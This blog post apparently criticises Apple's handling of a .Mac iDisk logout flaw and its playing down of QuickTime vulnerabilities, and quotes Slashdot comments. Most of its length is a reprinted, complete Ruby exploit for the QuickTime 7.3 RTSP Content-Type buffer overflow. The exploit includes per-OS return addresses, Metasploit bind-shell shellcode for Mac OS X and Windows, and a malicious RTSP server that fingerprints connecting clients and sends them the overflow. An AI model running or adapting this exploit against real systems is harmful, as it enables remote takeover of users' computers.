Rixstep
 About | ACP | Buy | Industry Watch | Learning Curve | News | Products | Search | Substack
Home » Industry Watch

Small Flaws Best Denied

And a wave of the magic censor wand and they're gone.



Get It

Try It

.Mac users have no means to logout from their iDisk service. Users' iDisks are cached by their browsers. Anyone can open up the browser, go back to the iDisk link in the browser history, and access the iDisk already completely logged in.

This design flaw was brought to the attention of Apple by open source advocate 'Klaatu' of thebadapples.info. Apple ignored his reports. Klaatu then posted news of this flaw on the Apple discussion forums. The post was removed.

Apple need to stop applying kindergarten solutions to grownup issues. And they need to stop acting so childishly.

The story is now being discussed at Slashdot. Some of the comments follow below.

Good at This Game

The Register are also running a story about how Apple continue to play down serious security flaws and the urgency of applying patches.

This failure to plainly warn end users is unfortunate. How many mainstream users, we wonder, will blow off these updates because Apple is too proud to admit two of its products have security vulnerabilities?

The vulnerabilities have already been actively exploited. Code to hack Apple's QuickTime can be found here.

# Copyright (C) 2007 Subreption LLC. All rights reserved.
# Visit http://blog.subreption.com for exploit development notes.
#
# References:
#   http://www.milw0rm.com/exploits/4648 (original Microsoft Windows code)
#   http://www.milw0rm.com/exploits/4651 (recent Microsoft Windows exploit)
#   From Metasploit: apple_quicktime_rtsp_response.rb (by MC and HD Moore)
#   http://nvd.nist.gov/nvd.cfm?cvename=CVE-2002-0252
#   BID: http://www.securityfocus.com/bid/26549
#
# Notes:
#   Payload badchars: \x00 \x09 \x0a \x0d \x20 \x22 \x25 \x26 \x27 \x2b \x2f
#                     \x3a \x3c \x3e \x3f \x40
#
#   The example addresses and data will trigger an IDS signature easily.
#   Remove them if you're not testing, and change padding sizes accordingly.
#   Use the String.rand_alpha() method to generate random strings.
#
# Version: 1.0 (+leopard_ppc +leopard_x86 +tiger_x86 +tiger_ppc +win_xpsp2)
#
# We would like to thank...
#   Kevin Finisterre, for providing PowerPC testing environment and general
#   aid in the development and proofing of this code for Mac OS X on PPC.

#   HD Moore for his suggestions and Metasploit code.
#
# Distributed under the terms of the Subreption Open Source License v1.0
# http://static.subreption.com/public/documents/subreption-sosl-1.0.txt
#

require 'socket'
include Socket::Constants

def String.rand_alpha(size = 16)
  (1..size).collect { (i = Kernel.rand(62); i += ((i < 10) ? 48 : ((i < 36) ? 55 : 61 ))).chr }.join
end

module MiscUtils
  def self.myputs(msg)
    puts "#{$0}: #{msg}"
  end

  # From Metasploit Rex library:
  # http://metasploit.com/svn/framework3/trunk/lib/rex/arch/x86.rb
  def self.rel_number(num, delta = 0)
    s = num.to_s
    case s[0, 2]
      when '$+'
       num = s[2 .. -1].to_i
      when '$-'
       num = -1 * s[2 .. -1].to_i
      when '0x'
       num = s.hex
      else
       delta = 0
    end
    return num + delta
  end
end

# msf osx/x86/shell_bind_tcp - 81 bytes port=5354 + exit()
MSF_OSX_X86 =
"\x31\xc0\x50\x68\xff\x02\x14\xea\x89\xe7\x50\x6a\x01\x6a\x02\x6a" +
"\x10\xb0\x61\xcd\x80\x57\x50\x50\x6a\x68\x58\xcd\x80\x89\x47\xec" +
"\xb0\x6a\xcd\x80\xb0\x1e\xcd\x80\x50\x50\x6a\x5a\x58\xcd\x80\xff" +
"\x4f\xe4\x79\xf6\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89" +
"\xe3\x50\x54\x54\x53\x50\xb0\x3b\xcd\x80\x31\xc0\x50\xb0\x01\xcd" +
"\x80"

# msf win32_bind - EXITFUNC=process LPORT=4444 Size=696 Encoder=Alpha2
MSF_WIN_X86 =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x37\x49\x49\x49\x49" +
"\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x42" +
"\x58\x50\x30\x42\x31\x41\x42\x6b\x42\x41\x52\x32\x42\x42\x32\x41" +
"\x41\x30\x41\x41\x58\x42\x50\x38\x42\x42\x75\x39\x79\x4b\x4c\x61" +
"\x7a\x38\x6b\x50\x4d\x68\x68\x69\x69\x4b\x4f\x4b\x4f\x59\x6f\x53" +
"\x50\x4e\x6b\x32\x4c\x44\x64\x35\x74\x6e\x6b\x30\x45\x57\x4c\x4e" +
"\x6b\x41\x6c\x64\x45\x51\x68\x46\x61\x4a\x4f\x6c\x4b\x30\x4f\x46" +
"\x78\x6c\x4b\x71\x4f\x47\x50\x33\x31\x5a\x4b\x61\x59\x6e\x6b\x50" +
"\x34\x4e\x6b\x46\x61\x78\x6e\x50\x31\x69\x50\x4e\x79\x4e\x4c\x4b" +
"\x34\x6b\x70\x52\x54\x63\x37\x38\x41\x6a\x6a\x44\x4d\x63\x31\x6b" +
"\x72\x68\x6b\x49\x64\x77\x4b\x30\x54\x41\x34\x45\x78\x52\x55\x69" +
"\x75\x6e\x6b\x73\x6f\x75\x74\x56\x61\x7a\x4b\x33\x56\x4e\x6b\x36" +
"\x6c\x72\x6b\x4c\x4b\x53\x6f\x35\x4c\x77\x71\x38\x6b\x47\x73\x44" +
"\x6c\x6e\x6b\x4b\x39\x32\x4c\x35\x74\x77\x6c\x65\x31\x69\x53\x56" +
"\x51\x49\x4b\x65\x34\x4e\x6b\x67\x33\x34\x70\x4c\x4b\x77\x30\x74" +
"\x4c\x6e\x6b\x64\x30\x47\x6c\x4c\x6d\x6e\x6b\x41\x50\x63\x38\x53" +
"\x6e\x70\x68\x4e\x6e\x62\x6e\x56\x6e\x38\x6c\x52\x70\x6b\x4f\x7a" +
"\x76\x72\x46\x61\x43\x43\x56\x52\x48\x77\x43\x64\x72\x51\x78\x71" +
"\x67\x50\x73\x70\x32\x71\x4f\x31\x44\x4b\x4f\x4a\x70\x75\x38\x78" +
"\x4b\x68\x6d\x49\x6c\x75\x6b\x46\x30\x4b\x4f\x79\x46\x53\x6f\x6f" +
"\x79\x38\x65\x73\x56\x4c\x41\x58\x6d\x64\x48\x65\x52\x72\x75\x32" +
"\x4a\x73\x32\x49\x6f\x4a\x70\x33\x58\x78\x59\x63\x39\x39\x65\x4c" +
"\x6d\x72\x77\x6b\x4f\x6e\x36\x50\x53\x52\x73\x51\x43\x70\x53\x33" +
"\x63\x71\x53\x63\x63\x61\x53\x33\x63\x4b\x4f\x5a\x70\x73\x56\x51" +
"\x78\x37\x61\x41\x4c\x50\x66\x53\x63\x6c\x49\x5a\x41\x5a\x35\x51" +
"\x78\x4d\x74\x67\x6a\x30\x70\x4b\x77\x66\x37\x79\x6f\x4b\x66\x41" +
"\x7a\x32\x30\x72\x71\x33\x65\x59\x6f\x38\x50\x70\x68\x6f\x54\x6e" +
"\x4d\x64\x6e\x38\x69\x32\x77\x4b\x4f\x4e\x36\x51\x43\x41\x45\x39" +
"\x6f\x4a\x70\x71\x78\x4a\x45\x71\x59\x6d\x56\x43\x79\x76\x37\x4b" +
"\x4f\x39\x46\x52\x70\x72\x74\x46\x34\x31\x45\x4b\x4f\x68\x50\x4e" +
"\x73\x43\x58\x6b\x57\x71\x69\x6f\x36\x53\x49\x76\x37\x6b\x4f\x38" +
"\x56\x71\x45\x6b\x4f\x48\x50\x35\x36\x70\x6a\x31\x74\x45\x36\x31" +
"\x78\x62\x43\x32\x4d\x6f\x79\x7a\x45\x71\x7a\x30\x50\x33\x69\x46" +
"\x49\x6a\x6c\x6b\x39\x6a\x47\x73\x5a\x51\x54\x6f\x79\x6d\x32\x30" +
"\x31\x59\x50\x38\x73\x4d\x7a\x59\x6e\x43\x72\x36\x4d\x69\x6e\x73" +
"\x72\x54\x6c\x6f\x63\x4c\x4d\x72\x5a\x74\x78\x4c\x6b\x6c\x6b\x6e" +
"\x4b\x35\x38\x50\x72\x6b\x4e\x4c\x73\x64\x56\x4b\x4f\x43\x45\x32" +
"\x64\x79\x6f\x7a\x76\x33\x6b\x32\x77\x62\x72\x63\x61\x33\x61\x30" +
"\x51\x30\x6a\x53\x31\x71\x41\x46\x31\x52\x75\x32\x71\x6b\x4f\x4e" +
"\x30\x70\x68\x4e\x4d\x7a\x79\x46\x65\x4a\x6e\x72\x73\x69\x6f\x58" +
"\x56\x72\x4a\x69\x6f\x69\x6f\x66\x57\x39\x6f\x58\x50\x4c\x4b\x41" +
"\x47\x6b\x4c\x6c\x43\x4f\x34\x32\x44\x4b\x4f\x68\x56\x76\x32\x4b" +
"\x4f\x4e\x30\x71\x78\x33\x4e\x6a\x78\x49\x72\x43\x43\x61\x43\x4b" +
"\x4f\x48\x56\x69\x6f\x6a\x70\x42"

module AppleOSX
class QuicktimeRedux
  TARGET_MATRIX = {
    # Mac OS X Leopard on PowerPC (ppc)
    "7.3-Mac 10.5.1-PPC" => {
      # Stack on PPC is still executable
      :ret_address  => 0xbfffcb0c+50,
      :padding_size => 559,

      # Shellcode will -likely- require changes here
      :prepend_data => (
        [0xdead5841].pack("N") +  # r22
        [0xdead5842].pack("N") +  # r23
        [0xdead4141].pack("N") +  # r24
        [0xdead4142].pack("N") +  # r25
        [0xdead4143].pack("N") +  # r26
        [0xdead4144].pack("N") +  # r27
        [0xdead4145].pack("N") +  # r28
        [0xdead4146].pack("N") +  # r29
        [0xdead4147].pack("N") +  # r30
        [0xdead4148].pack("N") +  # r31
        [0xdead4150].pack("N") +  #
        [0xdead4151].pack("N") +  #
        [0xdead4152].pack("N") +  # at $sp+0
        [0xdead4153].pack("N")    # at $sp+4
      ),
      :append_data  => (""),
      :shellcode    => ( "\x69" * 120 )
    },

    # Mac OS X Leopard on IA32 (x86) build 9B18
    "7.3-Mac 10.5.1-IA32" => {
      # Return-to-dyld stub is not reliable unless the machine
      # hasn't randomized the dyld base address.
      :ret_address  => 0xdeadbeef,
      :padding_size => 291,
      :prepend_data => (
        [0x11223344].pack("V")  +      # ebx
        [0x41424142].pack("V")  +      # esi
        [0x31337666].pack("V")  +      # edi
        [0xdefacedd].pack("V")         # ebp
      ),
      :append_data  => (
        [0xa0a7e44a].pack("V")  +      # to dyld_stub_exit
        [0xbffffaa3].pack("V")         # address to /bin/bash
      ),

      :shellcode    => (
        "screencapture -S ~/Desktop/US.png; exit;" +
        ("\x90" * 130) + MSF_OSX_X86
      )
    },

    # Mac OS X Tiger on IA32 (x86) build 8S2167 (10.4.11)
    # Apparently, it advertises 10.4.9 instead of 10.4.11
    "7.3-Mac 10.4.9-IA32" => {
      # Return-to-dyld stub works reliably on Tiger
      # 0xa0be2280 for dyld_stub_system
      :ret_address  => 0xa0be2280,
      :padding_size => 291,
      :prepend_data => (
        [0x917f1413].pack("V")  +      # ebx
        [0xffffeae6].pack("V")  +      # esi
        [0x14533050].pack("V")  +      # edi
        [0xbfffd27c].pack("V")         # ebp
      ),

      # exit() stub is problematic with some atexit code
      # because of corrupted frames, we use abort() instead.
      # A /bin/bash string (from env) is usually at 0xbffffc23
      # when running under gdb, or 0xbffffe5c if started
      # via dock. If started from Terminal, it's at 0xbffffc3e.
      :append_data  => (
        [0xa0815587].pack("V")  +      # to dyld_stub_abort
        [0xbffffc3e].pack("V")         # address system() command
      ),

      # NOP sled + Metasploit shellcode + NOP sled + int3
      :shellcode    => (
        ("\x90" * 140) + MSF_OSX_X86 + ("\x90" * 30) + "\xcc"
      )
    },

    # Mac OS X Tiger on PowerPC (PPC)
    # It also advertises 10.4.9 instead of 10.4.11
    "7.3-Mac 10.4.9-PPC" => {
      # Stub address for system() contains a null byte.
      # system() address contains filtered char.
      :ret_address  => 0xdeadbeef,
      :padding_size => 559,
      :prepend_data => (
        [0xdead5841].pack("N") +  # r22
        [0xdead5842].pack("N") +  # r23
        [0xdead4141].pack("N") +  # r24
        [0xdead4142].pack("N") +  # r25
        [0xdead4143].pack("N") +  # r26
        [0xdead4144].pack("N") +  # r27
        [0xdead4145].pack("N") +  # r28
        [0xdead4146].pack("N") +  # r29
        [0xdead4147].pack("N") +  # r30
        [0xdead4148].pack("N") +  # r31
        String.rand_alpha(16)
      ),
      :append_data  => (
        [0x942bce80].pack("N")  + # to dyld_stub_abort
        [0x58585858].pack("N")
      ),
      :shellcode    => (
        "\x69" * 120
      )
    },

    # Microsoft Windows targets

    # 7.3 on XP SP2, based on the original Metasploit module by MC
    # This one is elegant and reliable :)
    # (uses address from QuickTimeStreaming.qtx version 7.3.0.70)
    "7.3-Windows NT 5.1Service Pack 2-IA32" => {
      # pop esi; pop ebx; ret
      :ret_address  => 0x67644297,
      :padding_size => 991+MSF_WIN_X86.size,
      :prepend_data => (
        "\xeb" + [MiscUtils::rel_number(6, -2)].pack("V")[0,1] +
        "\x90\x90"
      ),
      :append_data  => ( String.rand_alpha(4092 - MSF_WIN_X86.size) ),
      :shellcode    => MSF_WIN_X86
    },

    # 7.3 on Vista
    # We are not including it yet, feel free to play around
    "7.3-Windows NT 6.0-IA32" => {
      :ret_address  => 0xdeadbeef,
      :padding_size => 991+MSF_WIN_X86.size,
      :prepend_data => (""),
      :append_data  => ( String.rand_alpha(4092 - MSF_WIN_X86.size) ),
      :shellcode    => MSF_WIN_X86
    }
  }

  # Generates headers for a Quicktime RTSP response, and injects
  # the payload into the Content-Type header (including the padding).
  def make_header(body_length, payload)
    "RTSP/1.0 200 OK\r\n"                           +
    "CSeq: 1\r\n"                                   +
    "Content-Base: rtsp://0.0.0.0/#{@mpfile}\r\n"  +
    "Content-Type: #{payload}\r\n"                  +
    "Content-Length: #{body_length}\r\n"            +
    "\r\n"
  end

  # Generates a body for a Quicktime RTSP response
  def make_body
    rand_str = String.rand_alpha(rand(10)+1)
    rand_nam = String.rand_alpha(rand(20)+1)
    "v=0\r\n"                                                   +
    "o=- #{rand(0xffffffff)} 1 IN IP4 0.0.0.0\r\n"              +
    "s=MPEG-1 or 2 Audio, streamed by #{rand_str}\r\n"          +
    "i=#{@mpfile}\r\n"                                          +
    "t=0 0\r\n"                                                 +
    "a=tool:#{rand_nam}\r\n"                                    +
    "a=type:broadcast\r\n"                                      +
    "a=control:*\r\n"                                           +
    "a=range:npt=0-213.077\r\n"                                 +
    "a=x-qt-text-nam:MPEG-1 or 2 Audio, streamed by #{rand_str}\r\n"  +
    "a=x-qt-text-inf:#{@mpfile}\r\n"                            +
    "m=audio 0 RTP/AVP 14\r\n"                                  +
    "c=IN IP4 0.0.0.0\r\n"                                      +
    "a=control:track1\r\n"
  end

  # Construct a payload without filtered characters, for the target provided.
  # The information is extracted from the target matrix variable.
  def build_payload(target)
    target_name = "#{target[:version]}-#{target[:os]}-#{target[:arch]}"
    selected    = TARGET_MATRIX[target_name]
    unless selected
      MiscUtils::myputs "Target not available, check User-Agent format!"
       MiscUtils::myputs target_name
      return ''
    end

    MiscUtils::myputs "Building payload for '#{target_name}'..."
    MiscUtils::myputs "Return address: #{sprintf("0x%08x",selected[:ret_address])}, " +
                      "shellcode: #{selected[:shellcode].size} bytes."

    payload = String.rand_alpha(selected[:padding_size]-selected[:shellcode].size)

    unless target[:os] =~ /Windows/
      payload << selected[:shellcode]
      payload << selected[:prepend_data]

      # Handle big-endian / little-endian
      if target[:arch] == "PPC"
        payload << [selected[:ret_address]].pack("N")
      else
        payload << [selected[:ret_address]].pack("V")
      end
    else
      payload << selected[:prepend_data]
      payload << [selected[:ret_address]].pack("V")
      payload << selected[:shellcode]
    end

    # Appended data comes always at end of payload
    payload << selected[:append_data]

    MiscUtils::myputs "Payload: #{payload.size} bytes (padding=#{payload[0,8]}...)"

    return payload
  end

  # Threaded 'listener': waits until a Quicktime client connects and fingerprints
  # its version, architecture and operating system version. Builds a response with
  # the correct payload and sends it back to the client.
  def exploit
    loop do
      socket = @server.accept
      Thread.start do
        s    = socket
        port = s.peeraddr[1]
        name = s.peeraddr[2]
        addr = s.peeraddr[3]

        MiscUtils::myputs "RTSP Connection from #{name} (#{addr}:#{port})"

        request = s.recv(1024)
        # Verify it's Quicktime and not some other application
        # ie. QuickTime E-/7.3 (qtver=7.3;os=Windows NT 6.0)
        if request =~ /User-Agent: QuickTime/i
          target = Hash.new

          if request =~ /Windows/
            qtver = request.scan(/\(qtver=(.+?);os=(.+?)\)\r\n/).flatten
            target[:version] = qtver[0]
            target[:arch]    = "IA32"
            target[:os]      = qtver[1]
          else
            qtver = request.scan(/\(qtver=(.+?);cpu=(.+?);os=(.+?)\)\r\n/).flatten
            target[:version] = qtver[0]
            target[:arch]    = qtver[1]
            target[:os]      = qtver[2]
          end

          MiscUtils::myputs "RTSP Request from Quicktime: #{qtver[0]} on #{qtver[3]} #{qtver[2]}"

          # Build payload and the full response body
          begin
            payload = build_payload(target)
            body    = make_body()
            header  = make_header(body.size, payload)
            resp    = (header+body)
          rescue
            raise "Something happened trying to build a response!"
          end

          # Send it to the client
          s.write(resp)

          MiscUtils::myputs "RTSP Sent #{resp.size} bytes..."
        else
          # It's not a Quicktime client
          MiscUtils::myputs "RTSP Connection doesn't seem to come from Quicktime!"
          s.write(String.rand_alpha(rand(500)))
        end
      end
    end
  end

  # Initialize the exploit with the local listening port, server socket, etc.
  def initialize(rtsp_port = 554)
    @server = TCPServer.new("0.0.0.0", rtsp_port)
    @mpfile = String.rand_alpha(rand(12)+1) + '.mp3'

    rtsp_addrs  = @server.addr[2..-1].uniq.collect{|a|"#{a}:#{rtsp_port}"}.join(' ')
    MiscUtils::myputs "RTSP Listening on #{rtsp_addrs}, serving #{@mpfile}"
    MiscUtils::myputs "RTSP URL: rtsp://#{rtsp_addrs}/#{@mpfile}"
  end
end
end

trap("INT") do
  puts "Exiting!"
  exit
end

puts "Quicktime 7.3 RTSP Response Content-Type Header Stack Buffer Overflow exploit"
puts "Copyright (C) 2007, Subreption LLC. All rights reserved."
test_run = AppleOSX::QuicktimeRedux.new()
test_run.exploit

A discussion of the vulnerabilities and assorted weaknesses in the Apple security mindset can be found here.

Perhaps Jeffrey J Barbozo is in some way also responsible for these gaffes?

Slashdot Comments

Am I the only one that notices that Apple's response to every problem is a swift 'let's delete this topic and pretend the problem doesn't exist'? Seems like bad business practise to me.

0H N0ES U DIDNT APPLE IS TEH PERFECT

If it was a Microsoft website it would be described as a major flaw and the foaming at the mouth would begin. Nor is it a user interface problem: by using session cookies closing the browser would logout the user with or without a logout button.

I am a new Apple user. And reasonably happy. However there is one thing I am very troubled by and it is simply this: Apple's apparent arrogance and ignorance when it comes to security.

See Also
Slashdot: A Little .Mac Security Flaw
The Register: Apple keeps critical security fixes to itself

About | ACP | Buy | Industry Watch | Learning Curve | News | Products | Search | Substack
Copyright © Rixstep. All rights reserved.